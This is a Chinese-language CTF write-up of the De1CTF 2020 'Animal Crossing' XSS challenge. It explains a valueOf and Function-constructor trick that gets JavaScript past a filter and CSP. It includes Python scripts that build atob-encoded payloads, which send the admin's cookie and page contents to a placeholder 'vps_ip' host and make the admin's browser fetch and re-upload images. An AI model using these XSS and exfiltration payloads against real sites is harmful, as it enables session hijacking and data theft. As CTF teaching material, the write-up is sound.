2020 De1CTF & Animal Crossing
2020-05-08 11:50:00 Author: www.4hou.com(查看原文) 阅读量:228 收藏

前言

五一的时候参与了一下De1CTF,里面有一道题让我印象很深刻:Animal Crossing。

题目分析

题干描述如下:

2020-05-06-20-18-20.png

可能作者很喜欢玩动森),进去之后是一个如下页面:

2020-05-06-20-18-42.png

我们随机输入一些字符串后,来到下一页:

2020-05-06-20-19-10.png

此时我们的url:

http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=vcwevcw

我们随机更改,页面会相应变化,同时发现有admin report界面:

2020-05-06-20-19-41.png

那么很明显了,这应该是一个xss打管理员cookie的题目。

尝试fuzz了一下各个参数,发现攻击点应该在data参数上,但其过滤了大量的字符,并且设有csp,导致常规的xss做法并不适用:

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';

2020-05-06-20-20-45.png

原型链构造

2020-05-06-20-21-26.png

发现我们的代码会被拼接在此处进行执行,那么首先进行闭合:

view-source:http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=%27||1111//

2020-05-06-20-22-16.png

那么如何利用1111部分的代码,让我们达到执行任意代码的目的呢?

这里就和一些trick有关,我们看一个例子:

2020-05-06-20-25-44.png

可以看到,对于toString,其会将其他值以字符串形式表示,特别的,对于对象,其会转换为[object Object],而对于数组,其会转换为Array.join(',')的形式进行拼接。但是对于valueOf( ),其返回的则是自身。

那我们再看一个例子:

2020-05-06-20-31-27.png

在一元加操作符操作对象的时候,会先调用对象的valueOf方法来转换,如此一来,我们可以利用这一特点,进行函数构造执行代码。那么我们回到题目中:

2020-05-06-20-34-39.png

如此一来,我们就可以定义function内容:

2020-05-06-20-35-06.png

那么我们再搭配上valueOf:

2020-05-06-20-36-55.png

当然,代码中没有+1的操作,那么怎么触发valueOf呢?其实很简单:

2020-05-06-20-40-04.png

如此一来,我们即可进行任意代码执行。

xss打cookie

在可执行任意代码后,我们下一步就是进行location跳转打cookie:

location='http://vps_ip?flag='+document.cookie

但是由于题目设置了较为恶心的waf,所以我们这里选择利用atob编码绕过:

import requests
from base64 import b64encode
s = """
location='http://vps_ip?flag='+document.cookie
"""
print(s)
data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')
url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)

编写代码如上,以用于自动生成exp。

攻击后即可得到管理员cookie:

FLAG=De1CTF{I_l1k4_

xss打管理员页面

但很显然只有一半flag是不行的,于是想到读一下管理员页面信息:

location='http://vps_ip?flag='+btoa(document.body.innerHTML)

得到信息解码后如下:

2020-05-06-20-45-08.png

可以发现管理员界面有无数张图片= =,猜想flag要么是其中一张,要么是拼接所有图片得到。那么尝试访问目录访问图片,但发现均为500,无法直接访问。

于是这里想到方案有2种:

1.利用js截图,将页面带出

2.将图片全部传出来

在解题中我选择了第二种思路,那么如何把图片传出呢?这里我们发现题目还有一个上传功能,可以让我们上传头像,但是只允许png和jpg后缀,这也是为何我选择了第二种方法,因为后缀名没法bypass(但是后来交流发现,不需要bypass后缀= =,我太菜啦!)

那么这里的思路转变为让管理员将图片上传后,再将return的访问url传出到我们的vps,我们即可获取到图片,于是写出如下脚本:

import requests
from base64 import b64encode
s = """
(async()=>{
    const arr = []
    for(let i=1;i<=9;i++) {
        res = await fetch(`/island/test_$0{i}.png`)
        data = await res.blob()
        const os = new FormData();
        const mf = new File([data], "name.png");
        os.append("file", mf);
        r = await fetch("/upload", {method: "POST",body: os})
        data = await r.json()
        arr.push(data.data)
    }
    location="http://vps_ip/?c="+btoa(JSON.stringify(arr))
})();
"""
print(s)
data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')
url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)

然后将400张图拼在一起,得到后半段flag:

2020-05-06-20-51-24.png

当然这里额外提一下,其实引入js库,不需要bypass js后缀,我们利用如下方式即可:

fetch(`/static/images/xxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt))

然后引入js库,截图后将图片利用upload上传,再把return url发送到我们服务器即可~

后记

这道xss是我认为De1CTF比较有趣的一道题目了,首先考的就是纯web,其次出题的思路比较好,而不是一味的恶心人= =,点个赞~

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/EGlN
如有侵权请联系:admin#unsafe.sh